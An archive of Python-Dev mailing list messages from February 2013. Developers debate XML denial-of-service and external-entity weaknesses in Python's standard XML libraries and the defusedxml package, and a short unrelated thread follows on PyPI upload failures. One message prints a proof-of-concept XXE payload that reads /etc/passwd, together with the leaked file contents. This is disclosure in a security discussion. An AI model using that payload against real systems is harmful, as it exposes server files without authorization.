In-Reply-To: <20130221113253.20e8b28f@pitrou.net>
References: <51239B07.8080300@python.org>
	<CAPZV6o_icQdxSeiStoYvEgqG5BUaTB7R68wCCQkn384eRy=a2Q@mail.gmail.com>
	<512514CC.2080508@python.org>
	<CAK5idxR1LmVCW+o3Jk=uvyP-nLMVoRzhkpN-1UKZowFWWPxCKg@mail.gmail.com>
	<5125466D.5090308@python.org> <20130221000808.7a8d2989@pitrou.net>
	<9AC9F1A0A9BD422999B3AE43AA5C3BA3@gmail.com>
	<20130221002258.78a805d6@pitrou.net> <51256C5B.70906@pearwood.info>
	<20130221075312.4485ad58@pitrou.net>
	<5125CCC4.3080501@palladion.com>
	<20130221084246.579fd260@pitrou.net> <5125F47B.3010607@python.org>
	<20130221113253.20e8b28f@pitrou.net>
Message-ID: <74957F62-DF1C-46BC-9705-1494477CD217@gmail.com>



On Feb 21, 2013, at 5:32 AM, Antoine Pitrou <solipsis at pitrou.net> wrote:

> Le Thu, 21 Feb 2013 11:18:35 +0100,
> Christian Heimes <christian at python.org> a ?crit :
>> Am 21.02.2013 08:42, schrieb Antoine Pitrou:
>>> Sure, but in many instances, rebooting a machine is not
>>> business-threatening. You will have a couple of minutes' downtime
>>> and that's all. Which is why the attack must be repeated many times
>>> to be a major annoyance.
>> 
>> Is this business-threatening enough?
>> 
>> https://pypi.python.org/pypi/defusedxml#external-entity-expansion-remote
> 
> You haven't proved that these were actual threats, nor how they
> actually worked. I'm gonna remain skeptical if there isn't anything
> more precise than "It highly depends on the parser and the application
> what kind of exploit is possible".
> 
> Regards
> 
> Antoine.
> 

I guess someone need to write a proof of concept exploit for you and release it into the wild.

Ok


> 
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe: http://mail.python.org/mailman/options/python-dev/jnoller%40gmail.com

From solipsis at pitrou.net  Thu Feb 21 12:16:41 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Thu, 21 Feb 2013 12:16:41 +0100
Subject: [Python-Dev] XML DoS vulnerabilities and exploits in Python
References: <51239B07.8080300@python.org>
	<CAPZV6o_icQdxSeiStoYvEgqG5BUaTB7R68wCCQkn384eRy=a2Q@mail.gmail.com>
	<512514CC.2080508@python.org>
	<CAK5idxR1LmVCW+o3Jk=uvyP-nLMVoRzhkpN-1UKZowFWWPxCKg@mail.gmail.com>
	<5125466D.5090308@python.org> <20130221000808.7a8d2989@pitrou.net>
	<9AC9F1A0A9BD422999B3AE43AA5C3BA3@gmail.com>
	<20130221002258.78a805d6@pitrou.net> <51256C5B.70906@pearwood.info>
	<20130221075312.4485ad58@pitrou.net>
	<5125CCC4.3080501@palladion.com>
	<20130221084246.579fd260@pitrou.net> <5125F47B.3010607@python.org>
	<20130221113253.20e8b28f@pitrou.net>
	<74957F62-DF1C-46BC-9705-1494477CD217@gmail.com>
Message-ID: <20130221121641.6fc07bf3@pitrou.net>

Le Thu, 21 Feb 2013 06:05:52 -0500,
Jesse Noller <jnoller at gmail.com> a ?crit :
> On Feb 21, 2013, at 5:32 AM, Antoine Pitrou <solipsis at pitrou.net>
> wrote:
> 
> > Le Thu, 21 Feb 2013 11:18:35 +0100,
> > Christian Heimes <christian at python.org> a ?crit :
> >> Am 21.02.2013 08:42, schrieb Antoine Pitrou:
> >>> Sure, but in many instances, rebooting a machine is not
> >>> business-threatening. You will have a couple of minutes' downtime
> >>> and that's all. Which is why the attack must be repeated many
> >>> times to be a major annoyance.
> >> 
> >> Is this business-threatening enough?
> >> 
> >> https://pypi.python.org/pypi/defusedxml#external-entity-expansion-remote
> > 
> > You haven't proved that these were actual threats, nor how they
> > actually worked. I'm gonna remain skeptical if there isn't anything
> > more precise than "It highly depends on the parser and the
> > application what kind of exploit is possible".
> > 
> > Regards
> > 
> > Antoine.
> > 
> 
> I guess someone need to write a proof of concept exploit for you and
> release it into the wild.

I don't know whether you are trying to be ironic but, for the record,
proof of concepts needn't be "released into the wild" as long as they
exist.

Regards

Antoine.



From christian at python.org  Thu Feb 21 13:04:59 2013
From: christian at python.org (Christian Heimes)
Date: Thu, 21 Feb 2013 13:04:59 +0100
Subject: [Python-Dev] XML DoS vulnerabilities and exploits in Python
In-Reply-To: <20130221113253.20e8b28f@pitrou.net>
References: <51239B07.8080300@python.org>
	<CAPZV6o_icQdxSeiStoYvEgqG5BUaTB7R68wCCQkn384eRy=a2Q@mail.gmail.com>
	<512514CC.2080508@python.org>
	<CAK5idxR1LmVCW+o3Jk=uvyP-nLMVoRzhkpN-1UKZowFWWPxCKg@mail.gmail.com>
	<5125466D.5090308@python.org> <20130221000808.7a8d2989@pitrou.net>
	<9AC9F1A0A9BD422999B3AE43AA5C3BA3@gmail.com>
	<20130221002258.78a805d6@pitrou.net> <51256C5B.70906@pearwood.info>
	<20130221075312.4485ad58@pitrou.net>
	<5125CCC4.3080501@palladion.com>
	<20130221084246.579fd260@pitrou.net> <5125F47B.3010607@python.org>
	<20130221113253.20e8b28f@pitrou.net>
Message-ID: <51260D6B.1050101@python.org>

Am 21.02.2013 11:32, schrieb Antoine Pitrou:
> You haven't proved that these were actual threats, nor how they
> actually worked. I'm gonna remain skeptical if there isn't anything
> more precise than "It highly depends on the parser and the application
> what kind of exploit is possible".

https://bitbucket.org/tiran/defusedxml/src/82f4037464418bf11ea734969b7ca1c193e6ed91/other/python-external.py?at=default

$ ./python-external.py

REQUEST:
--------
<weather>Aachen</weather>

RESPONSE:
---------
<weather>The weather in Aachen is terrible.</weather


REQUEST:
--------
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE weather [
<!ENTITY passwd SYSTEM "file:///etc/passwd">
]>
<weather>&passwd;</weather>


RESPONSE:
---------
<error>Unknown city root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bi</error>


REQUEST:
--------
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE weather [
<!ENTITY url SYSTEM
"http://hg.python.org/cpython/raw-file/a11ddd687a0b/Lib/test/dh512.pem">
]>
<weather>&url;</weather>


RESPONSE:
---------
<error>Unknown city -----BEGIN DH PARAMETERS-----
MEYCQQD1Kv884bEpQBgRjXyEpwpy1obEAxnIByl6ypUM2Zafq9AKUJsCRtMIPWak
XUGfnHy9iUsiGSa6q6Jew1XpKgVfAgEC
-----END DH PARAMETERS-----

These are the 512 bit DH parameters from "Assigned Number for SKIP
Protocols"
(http://www.skip-vpn.org/spec/numbers.html).
See there for how they were generated.
Note that g is not a generator, but this is not a problem since p is a
safe prime.
</error>


Q.E.D.
Christian

From christian at python.org  Thu Feb 21 13:19:54 2013
From: christian at python.org (Christian Heimes)
Date: Thu, 21 Feb 2013 13:19:54 +0100
Subject: [Python-Dev] XML DoS vulnerabilities and exploits in Python
In-Reply-To: <20130221121641.6fc07bf3@pitrou.net>
References: <51239B07.8080300@python.org>
	<CAPZV6o_icQdxSeiStoYvEgqG5BUaTB7R68wCCQkn384eRy=a2Q@mail.gmail.com>
	<512514CC.2080508@python.org>
	<CAK5idxR1LmVCW+o3Jk=uvyP-nLMVoRzhkpN-1UKZowFWWPxCKg@mail.gmail.com>
	<5125466D.5090308@python.org> <20130221000808.7a8d2989@pitrou.net>
	<9AC9F1A0A9BD422999B3AE43AA5C3BA3@gmail.com>
	<20130221002258.78a805d6@pitrou.net> <51256C5B.70906@pearwood.info>
	<20130221075312.4485ad58@pitrou.net>
	<5125CCC4.3080501@palladion.com>
	<20130221084246.579fd260@pitrou.net> <5125F47B.3010607@python.org>
	<20130221113253.20e8b28f@pitrou.net>
	<74957F62-DF1C-46BC-9705-1494477CD217@gmail.com>
	<20130221121641.6fc07bf3@pitrou.net>
Message-ID: <512610EA.3040408@python.org>

Am 21.02.2013 12:16, schrieb Antoine Pitrou:
> I don't know whether you are trying to be ironic but, for the record,
> proof of concepts needn't be "released into the wild" as long as they
> exist.

Fun fact:

In fact the abbreviation 'ap' doesn't stand for 'Antoine Pitrou' but for
'antipole'. I'm a bit paranoid and overcautious. Antoine acts as my
antipole and counter balance. Together we make a fairly good team. :)

Christian


From solipsis at pitrou.net  Thu Feb 21 15:03:56 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Thu, 21 Feb 2013 15:03:56 +0100
Subject: [Python-Dev] XML DoS vulnerabilities and exploits in Python
References: <51239B07.8080300@python.org>
	<CAPZV6o_icQdxSeiStoYvEgqG5BUaTB7R68wCCQkn384eRy=a2Q@mail.gmail.com>
	<512514CC.2080508@python.org>
	<CAK5idxR1LmVCW+o3Jk=uvyP-nLMVoRzhkpN-1UKZowFWWPxCKg@mail.gmail.com>
	<5125466D.5090308@python.org> <20130221000808.7a8d2989@pitrou.net>
	<9AC9F1A0A9BD422999B3AE43AA5C3BA3@gmail.com>
	<20130221002258.78a805d6@pitrou.net> <51256C5B.70906@pearwood.info>
	<20130221075312.4485ad58@pitrou.net>
	<5125CCC4.3080501@palladion.com>
	<20130221084246.579fd260@pitrou.net> <5125F47B.3010607@python.org>
	<20130221113253.20e8b28f@pitrou.net>
	<74957F62-DF1C-46BC-9705-1494477CD217@gmail.com>
	<20130221121641.6fc07bf3@pitrou.net> <512610EA.3040408@python.org>
Message-ID: <20130221150356.26dc30c5@pitrou.net>

Le Thu, 21 Feb 2013 13:19:54 +0100,
Christian Heimes <christian at python.org> a ?crit :
> Am 21.02.2013 12:16, schrieb Antoine Pitrou:
> > I don't know whether you are trying to be ironic but, for the
> > record, proof of concepts needn't be "released into the wild" as
> > long as they exist.
> 
> Fun fact:
> 
> In fact the abbreviation 'ap' doesn't stand for 'Antoine Pitrou' but
> for 'antipole'. I'm a bit paranoid and overcautious. Antoine acts as
> my antipole and counter balance. Together we make a fairly good
> team. :)

Not really, since I'm overcautious towards paranoid people.

Regards

Antoine.



From solipsis at pitrou.net  Thu Feb 21 15:03:10 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Thu, 21 Feb 2013 15:03:10 +0100
Subject: [Python-Dev] XML DoS vulnerabilities and exploits in Python
References: <51239B07.8080300@python.org>
	<CAPZV6o_icQdxSeiStoYvEgqG5BUaTB7R68wCCQkn384eRy=a2Q@mail.gmail.com>
	<512514CC.2080508@python.org>
	<CAK5idxR1LmVCW+o3Jk=uvyP-nLMVoRzhkpN-1UKZowFWWPxCKg@mail.gmail.com>
	<5125466D.5090308@python.org> <20130221000808.7a8d2989@pitrou.net>
	<9AC9F1A0A9BD422999B3AE43AA5C3BA3@gmail.com>
	<20130221002258.78a805d6@pitrou.net> <51256C5B.70906@pearwood.info>
	<20130221075312.4485ad58@pitrou.net>
	<5125CCC4.3080501@palladion.com>
	<20130221084246.579fd260@pitrou.net> <5125F47B.3010607@python.org>
	<20130221113253.20e8b28f@pitrou.net> <51260D6B.1050101@python.org>
Message-ID: <20130221150310.36e16489@pitrou.net>

Le Thu, 21 Feb 2013 13:04:59 +0100,
Christian Heimes <christian at python.org> a ?crit :
> Am 21.02.2013 11:32, schrieb Antoine Pitrou:
> > You haven't proved that these were actual threats, nor how they
> > actually worked. I'm gonna remain skeptical if there isn't anything
> > more precise than "It highly depends on the parser and the
> > application what kind of exploit is possible".
> 
> https://bitbucket.org/tiran/defusedxml/src/82f4037464418bf11ea734969b7ca1c193e6ed91/other/python-external.py?at=default
> 
> $ ./python-external.py
[snip]

Again, this requires that your attacker can directly feed XML to the
system *and* read the response. Not every computer is a public Internet
server.

Regards

Antoine.



From fijall at gmail.com  Thu Feb 21 17:00:02 2013
From: fijall at gmail.com (Maciej Fijalkowski)
Date: Thu, 21 Feb 2013 18:00:02 +0200
Subject: [Python-Dev] XML DoS vulnerabilities and exploits in Python
In-Reply-To: <5125A3F7.7030308@palladion.com>
References: <51239B07.8080300@python.org>
	<CAPZV6o_icQdxSeiStoYvEgqG5BUaTB7R68wCCQkn384eRy=a2Q@mail.gmail.com>
	<512514CC.2080508@python.org>
	<CAK5idxR1LmVCW+o3Jk=uvyP-nLMVoRzhkpN-1UKZowFWWPxCKg@mail.gmail.com>
	<5125466D.5090308@python.org> <20130221000808.7a8d2989@pitrou.net>
	<9AC9F1A0A9BD422999B3AE43AA5C3BA3@gmail.com>
	<20130221002258.78a805d6@pitrou.net> <kg3nln$tj0$1@ger.gmane.org>
	<CADiSq7eTdC1LC3Dfn+pHs-cqv9JZ6wZVv77bzV6LwCcUZpBn6Q@mail.gmail.com>
	<20130220210842.7dd9d84d@anarchist.wooz.org>
	<5125A3F7.7030308@palladion.com>
Message-ID: <CAK5idxSEa+uTnwsiuPiYTRf=fRJXrHDvRd-Rfu0uoR6t451FSQ@mail.gmail.com>

On Thu, Feb 21, 2013 at 6:35 AM, Tres Seaver <tseaver at palladion.com> wrote:
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> On 02/20/2013 09:08 PM, Barry Warsaw wrote:
>> On Feb 21, 2013, at 10:38 AM, Nick Coghlan wrote:
>>
>>> - make it possible to enable safer behaviour globally in at least
>>> 2.7 and 3.3 (and perhaps in 2.6 and 3.2 security releases as well)
>>
>> I want to be fairly conservative with 2.6.9.
>
> I believe that the same rationale should apply as that for adding hash
> randomization in 2.6.8:  this is at least as bad a vulnerability, with
> many more vectors of attack.

FYI the hash randomization is broken (it only allows 256 really
different hashes)

From fijall at gmail.com  Thu Feb 21 17:02:07 2013
From: fijall at gmail.com (Maciej Fijalkowski)
Date: Thu, 21 Feb 2013 18:02:07 +0200
Subject: [Python-Dev] XML DoS vulnerabilities and exploits in Python
In-Reply-To: <5125CCC4.3080501@palladion.com>
References: <51239B07.8080300@python.org>
	<CAPZV6o_icQdxSeiStoYvEgqG5BUaTB7R68wCCQkn384eRy=a2Q@mail.gmail.com>
	<512514CC.2080508@python.org>
	<CAK5idxR1LmVCW+o3Jk=uvyP-nLMVoRzhkpN-1UKZowFWWPxCKg@mail.gmail.com>
	<5125466D.5090308@python.org> <20130221000808.7a8d2989@pitrou.net>
	<9AC9F1A0A9BD422999B3AE43AA5C3BA3@gmail.com>
	<20130221002258.78a805d6@pitrou.net>
	<51256C5B.70906@pearwood.info> <20130221075312.4485ad58@pitrou.net>
	<5125CCC4.3080501@palladion.com>
Message-ID: <CAK5idxSC5w18rgtCiLaD_g-B48d51ViRRM6uaxnACQSnJN8B8w@mail.gmail.com>

On Thu, Feb 21, 2013 at 9:29 AM, Tres Seaver <tseaver at palladion.com> wrote:
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> On 02/21/2013 01:53 AM, Antoine Pitrou wrote:
>> On Thu, 21 Feb 2013 11:37:47 +1100 Steven D'Aprano
>> <steve at pearwood.info> wrote:
>>>
>>> It's easy to forget that malware existed long before the Internet.
>>> The internet is just a transmission vector, it is not the source of
>>> malicious files. The source of malicious files is *other people*,
>>> and unless you never use XML files you didn't generate yourself, you
>>> cannot completely trust the source. You might trust your colleagues
>>> to not *intentionally* pass you a malicious XML file, but they may
>>> still do so accidentally.
>>
>> That's in theory very nice, but in practice security in everyday
>> computing hasn't really been a concern before the massification of
>> Internet access.
>>
>> (yes, there have been viruses on mainstream platforms such as the
>> Amiga, but it was pretty minor compared to nowadays, and nobody cared
>> about potential DoS attacks for example)
>>
>> So, as for XML files, we are talking about a DoS vulnerability. It
>> will take more than a single file to make a DoS attack really
>> annoying, which means the attacker must pollute the source of those
>> XML files in a systemic way. It's not "a single XML file will smuggle
>> confidential data out of the building".
>
> Antoine,
>
> A single, small,, malicious XML file can kill a machine (not just the
> process parsing it) by sucking all available RAM.  We are talking hard
> lockup, reboot-to-fix-it sorts of DOC here.

Er no. We're talking about running out of RAM. Any reasonable person
would already have a limit one way or another (rlimits anyone).

From stephen at xemacs.org  Thu Feb 21 18:23:27 2013
From: stephen at xemacs.org (Stephen J. Turnbull)
Date: Fri, 22 Feb 2013 02:23:27 +0900
Subject: [Python-Dev] XML DoS vulnerabilities and exploits in Python
In-Reply-To: <74957F62-DF1C-46BC-9705-1494477CD217@gmail.com>
References: <51239B07.8080300@python.org>
	<CAPZV6o_icQdxSeiStoYvEgqG5BUaTB7R68wCCQkn384eRy=a2Q@mail.gmail.com>
	<512514CC.2080508@python.org>
	<CAK5idxR1LmVCW+o3Jk=uvyP-nLMVoRzhkpN-1UKZowFWWPxCKg@mail.gmail.com>
	<5125466D.5090308@python.org> <20130221000808.7a8d2989@pitrou.net>
	<9AC9F1A0A9BD422999B3AE43AA5C3BA3@gmail.com>
	<20130221002258.78a805d6@pitrou.net> <51256C5B.70906@pearwood.info>
	<20130221075312.4485ad58@pitrou.net>
	<5125CCC4.3080501@palladion.com>
	<20130221084246.579fd260@pitrou.net> <5125F47B.3010607@python.org>
	<20130221113253.20e8b28f@pitrou.net>
	<74957F62-DF1C-46BC-9705-1494477CD217@gmail.com>
Message-ID: <87txp5shrk.fsf@uwakimon.sk.tsukuba.ac.jp>

Jesse Noller writes:

 > I guess someone need to write a proof of concept exploit for you
 > and release it into the wild.

This is a bit ridiculous.  This stuff looks easy enough that surely
Christian's post informed any malicious body who didn't already know
how to do it.  If the exploit matters, it's already in the wild.
("Hey, didja know that an XML processor that expands entities does so
recursively?"  "Uh-oh ....")

Yeah, there's a problem here.  But ... as far as I can see all the
exploits suggested (including those Christian provided in
python-external.py) require either blindly processing text from
requests received off the Internet as XML, or an attacker capable of
doing something equivalent to replacing a Python library.

I certainly think defusedxml is a valuable contribution, and not just
for security nuts.  But to quote from Christian's own README (warning:
taken out of context to make *my* point):

    7. These are features but they may introduce exploitable holes, see
       `Other things to consider`_

I'd like to see a little (well, to be honest, a *lot*) more analysis
of the kind Fred Drake implicitly suggests:

    Doing so *will* be backward incompatible, and I'm not sure there's
    a good way to gauge the extent of the breakage.

before making these restrictions the default.  Eg, 40 entity
indirections in a single expansion (defusedxml's default maximum) may
seem like a lot, but I've seen some pretty complex expressions built
as entities that recurse three or four levels.  Of course, that was a
while ago, and today most of the entities would be replaced by actual
characters.  Nevertheless, I bet those legacy expressions break the 40
indirection limit, or, rather, the limit would break them.

From eliben at gmail.com  Thu Feb 21 19:39:17 2013
From: eliben at gmail.com (Eli Bendersky)
Date: Thu, 21 Feb 2013 10:39:17 -0800
Subject: [Python-Dev] XML DoS vulnerabilities and exploits in Python
In-Reply-To: <87txp5shrk.fsf@uwakimon.sk.tsukuba.ac.jp>
References: <51239B07.8080300@python.org>
	<CAPZV6o_icQdxSeiStoYvEgqG5BUaTB7R68wCCQkn384eRy=a2Q@mail.gmail.com>
	<512514CC.2080508@python.org>
	<CAK5idxR1LmVCW+o3Jk=uvyP-nLMVoRzhkpN-1UKZowFWWPxCKg@mail.gmail.com>
	<5125466D.5090308@python.org> <20130221000808.7a8d2989@pitrou.net>
	<9AC9F1A0A9BD422999B3AE43AA5C3BA3@gmail.com>
	<20130221002258.78a805d6@pitrou.net>
	<51256C5B.70906@pearwood.info> <20130221075312.4485ad58@pitrou.net>
	<5125CCC4.3080501@palladion.com> <20130221084246.579fd260@pitrou.net>
	<5125F47B.3010607@python.org> <20130221113253.20e8b28f@pitrou.net>
	<74957F62-DF1C-46BC-9705-1494477CD217@gmail.com>
	<87txp5shrk.fsf@uwakimon.sk.tsukuba.ac.jp>
Message-ID: <CAF-Rda82tYcHrLtWE9EDm2mFm=vp3wpPztE-kS1E96FSJhYjNA@mail.gmail.com>

On Thu, Feb 21, 2013 at 9:23 AM, Stephen J. Turnbull <stephen at xemacs.org>wrote:

> Jesse Noller writes:
>
>  > I guess someone need to write a proof of concept exploit for you
>  > and release it into the wild.
>
> This is a bit ridiculous.  This stuff looks easy enough that surely
> Christian's post informed any malicious body who didn't already know
> how to do it.  If the exploit matters, it's already in the wild.
> ("Hey, didja know that an XML processor that expands entities does so
> recursively?"  "Uh-oh ....")
>


Just to clarify for my own curiosity. These attacks (e.g.
http://en.wikipedia.org/wiki/Billion_laughs) have been known and public
since 2003?

Eli
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130221/65a9ab96/attachment.html>

From christian at python.org  Thu Feb 21 20:12:22 2013
From: christian at python.org (Christian Heimes)
Date: Thu, 21 Feb 2013 20:12:22 +0100
Subject: [Python-Dev] XML DoS vulnerabilities and exploits in Python
In-Reply-To: <CAF-Rda82tYcHrLtWE9EDm2mFm=vp3wpPztE-kS1E96FSJhYjNA@mail.gmail.com>
References: <51239B07.8080300@python.org>
	<CAPZV6o_icQdxSeiStoYvEgqG5BUaTB7R68wCCQkn384eRy=a2Q@mail.gmail.com>
	<512514CC.2080508@python.org>
	<CAK5idxR1LmVCW+o3Jk=uvyP-nLMVoRzhkpN-1UKZowFWWPxCKg@mail.gmail.com>
	<5125466D.5090308@python.org> <20130221000808.7a8d2989@pitrou.net>
	<9AC9F1A0A9BD422999B3AE43AA5C3BA3@gmail.com>
	<20130221002258.78a805d6@pitrou.net> <51256C5B.70906@pearwood.info>
	<20130221075312.4485ad58@pitrou.net>
	<5125CCC4.3080501@palladion.com>
	<20130221084246.579fd260@pitrou.net> <5125F47B.3010607@python.org>
	<20130221113253.20e8b28f@pitrou.net>
	<74957F62-DF1C-46BC-9705-1494477CD217@gmail.com>
	<87txp5shrk.fsf@uwakimon.sk.tsukuba.ac.jp>
	<CAF-Rda82tYcHrLtWE9EDm2mFm=vp3wpPztE-kS1E96FSJhYjNA@mail.gmail.com>
Message-ID: <51267196.1070001@python.org>

Am 21.02.2013 19:39, schrieb Eli Bendersky:
> Just to clarify for my own curiosity. These attacks (e.g.
> http://en.wikipedia.org/wiki/Billion_laughs) have been known and public
> since 2003?

Correct, see https://pypi.python.org/pypi/defusedxml#synopsis third
paragraph. All XML attacks in my analysis are well known for years,
billion laughs for about a decade.

As far as I know it's the first time somebody has compiled and published
a detailed list of vulnerabilities in Python's XML libraries. However
I'm not the only one. OpenStack and Django were contacted by several
people in the past few weeks, too.


From eliben at gmail.com  Thu Feb 21 20:17:57 2013
From: eliben at gmail.com (Eli Bendersky)
Date: Thu, 21 Feb 2013 11:17:57 -0800
Subject: [Python-Dev] XML DoS vulnerabilities and exploits in Python
In-Reply-To: <51267196.1070001@python.org>
References: <51239B07.8080300@python.org>
	<CAPZV6o_icQdxSeiStoYvEgqG5BUaTB7R68wCCQkn384eRy=a2Q@mail.gmail.com>
	<512514CC.2080508@python.org>
	<CAK5idxR1LmVCW+o3Jk=uvyP-nLMVoRzhkpN-1UKZowFWWPxCKg@mail.gmail.com>
	<5125466D.5090308@python.org> <20130221000808.7a8d2989@pitrou.net>
	<9AC9F1A0A9BD422999B3AE43AA5C3BA3@gmail.com>
	<20130221002258.78a805d6@pitrou.net>
	<51256C5B.70906@pearwood.info> <20130221075312.4485ad58@pitrou.net>
	<5125CCC4.3080501@palladion.com> <20130221084246.579fd260@pitrou.net>
	<5125F47B.3010607@python.org> <20130221113253.20e8b28f@pitrou.net>
	<74957F62-DF1C-46BC-9705-1494477CD217@gmail.com>
	<87txp5shrk.fsf@uwakimon.sk.tsukuba.ac.jp>
	<CAF-Rda82tYcHrLtWE9EDm2mFm=vp3wpPztE-kS1E96FSJhYjNA@mail.gmail.com>
	<51267196.1070001@python.org>
Message-ID: <CAF-Rda9gvT3YePFTYHR3Rw3Xg=Unmtc66ARkp3dZuxc07UN1sg@mail.gmail.com>

On Thu, Feb 21, 2013 at 11:12 AM, Christian Heimes <christian at python.org>wrote:

> Am 21.02.2013 19:39, schrieb Eli Bendersky:
> > Just to clarify for my own curiosity. These attacks (e.g.
> > http://en.wikipedia.org/wiki/Billion_laughs) have been known and public
> > since 2003?
>
> Correct, see https://pypi.python.org/pypi/defusedxml#synopsis third
> paragraph. All XML attacks in my analysis are well known for years,
> billion laughs for about a decade.
>
> As far as I know it's the first time somebody has compiled and published
> a detailed list of vulnerabilities in Python's XML libraries. However
> I'm not the only one. OpenStack and Django were contacted by several
> people in the past few weeks, too.
>

Thanks, Christian. I think this should put the urgency of the fix into
context. While I agree that we should work on making future versions
resilient by default, I have doubts about the urgency of back-patching
existing, in-mainteinance-mode stable versions with something that's not
opt-in.

Eli
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130221/04d678b2/attachment-0001.html>

From paul at boddie.org.uk  Fri Feb 22 00:47:08 2013
From: paul at boddie.org.uk (Paul Boddie)
Date: Fri, 22 Feb 2013 00:47:08 +0100
Subject: [Python-Dev] xml.sax and xml.dom fetch DTDs by default (was XML DoS
	vulnerabilities and exploits in Python)
Message-ID: <201302220047.08858.paul@boddie.org.uk>

Perhaps related to the discussion of denial-of-service vulnerabilities is the 
matter of controlling access to remote resources. I suppose that after the 
following bug was closed, no improvements were made to the standard library:

http://bugs.python.org/issue2124

Do Python programs still visit the W3C site millions of times every day to 
download DTDs that they are not, by default, able to remember from their last 
visit?

Paul

From christian at python.org  Fri Feb 22 01:07:06 2013
From: christian at python.org (Christian Heimes)
Date: Fri, 22 Feb 2013 01:07:06 +0100
Subject: [Python-Dev] xml.sax and xml.dom fetch DTDs by default
In-Reply-To: <201302220047.08858.paul@boddie.org.uk>
References: <201302220047.08858.paul@boddie.org.uk>
Message-ID: <5126B6AA.9070201@python.org>

Am 22.02.2013 00:47, schrieb Paul Boddie:
> Perhaps related to the discussion of denial-of-service vulnerabilities is the 
> matter of controlling access to remote resources. I suppose that after the 
> following bug was closed, no improvements were made to the standard library:
> 
> http://bugs.python.org/issue2124
> 
> Do Python programs still visit the W3C site millions of times every day to 
> download DTDs that they are not, by default, able to remember from their last 
> visit?

Affirmative for Python 2.6 to 3.4 dev! It's all in my documentation, too.

https://pypi.python.org/pypi/defusedxml#python-xml-libraries

Christian


From python at mrabarnett.plus.com  Fri Feb 22 03:02:20 2013
From: python at mrabarnett.plus.com (MRAB)
Date: Fri, 22 Feb 2013 02:02:20 +0000
Subject: [Python-Dev] Can't upload to PyPI
Message-ID: <5126D1AC.1000102@mrabarnett.plus.com>

Since the PyPI security notice of 2013-02-15 I've been unable to upload
to PyPI via "setup.py upload".

I changed my password during the grace period, and have reset it, but
it's still rejected:

Upload failed (401): Incorrect password

I can login to PyPI with the password.

Can anyone suggest what could be wrong?

From graffatcolmingov at gmail.com  Fri Feb 22 03:09:29 2013
From: graffatcolmingov at gmail.com (Ian Cordasco)
Date: Thu, 21 Feb 2013 21:09:29 -0500
Subject: [Python-Dev] Can't upload to PyPI
In-Reply-To: <5126D1AC.1000102@mrabarnett.plus.com>
References: <5126D1AC.1000102@mrabarnett.plus.com>
Message-ID: <CAN-Kwu3snAe3SkcbnS2w1v=zye93kkVeaUx=RZGaqJUS+LhQSw@mail.gmail.com>

This is probably better suited to Catalog-sig but you have to edit
your credentials in $HOME/.pypirc

On Thu, Feb 21, 2013 at 9:02 PM, MRAB <python at mrabarnett.plus.com> wrote:
> Since the PyPI security notice of 2013-02-15 I've been unable to upload
> to PyPI via "setup.py upload".
>
> I changed my password during the grace period, and have reset it, but
> it's still rejected:
>
> Upload failed (401): Incorrect password
>
> I can login to PyPI with the password.
>
> Can anyone suggest what could be wrong?
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe:
> http://mail.python.org/mailman/options/python-dev/graffatcolmingov%40gmail.com

From python at mrabarnett.plus.com  Fri Feb 22 03:27:21 2013
From: python at mrabarnett.plus.com (MRAB)
Date: Fri, 22 Feb 2013 02:27:21 +0000
Subject: [Python-Dev] Can't upload to PyPI
In-Reply-To: <CAN-Kwu3snAe3SkcbnS2w1v=zye93kkVeaUx=RZGaqJUS+LhQSw@mail.gmail.com>
References: <5126D1AC.1000102@mrabarnett.plus.com>
	<CAN-Kwu3snAe3SkcbnS2w1v=zye93kkVeaUx=RZGaqJUS+LhQSw@mail.gmail.com>
Message-ID: <5126D789.6080604@mrabarnett.plus.com>

On 2013-02-22 02:09, Ian Cordasco wrote:
> On Thu, Feb 21, 2013 at 9:02 PM, MRAB <python at mrabarnett.plus.com> wrote:
>> Since the PyPI security notice of 2013-02-15 I've been unable to upload
>> to PyPI via "setup.py upload".
>>
>> I changed my password during the grace period, and have reset it, but
>> it's still rejected:
>>
>> Upload failed (401): Incorrect password
>>
>> I can login to PyPI with the password.
>>
>> Can anyone suggest what could be wrong?
>>
 > This is probably better suited to Catalog-sig but you have to edit
 > your credentials in $HOME/.pypirc
 >
Are any other changes needed in .pypirc, _apart_ from the password?


From graffatcolmingov at gmail.com  Fri Feb 22 03:37:34 2013
From: graffatcolmingov at gmail.com (Ian Cordasco)
Date: Thu, 21 Feb 2013 21:37:34 -0500
Subject: [Python-Dev] Can't upload to PyPI
In-Reply-To: <5126D789.6080604@mrabarnett.plus.com>
References: <5126D1AC.1000102@mrabarnett.plus.com>
	<CAN-Kwu3snAe3SkcbnS2w1v=zye93kkVeaUx=RZGaqJUS+LhQSw@mail.gmail.com>
	<5126D789.6080604@mrabarnett.plus.com>
Message-ID: <CAN-Kwu3tEbZRYxx0hprF+gGEMhuGRipczstMNPcqv5VhW11JPw@mail.gmail.com>

On Thu, Feb 21, 2013 at 9:27 PM, MRAB <python at mrabarnett.plus.com> wrote:
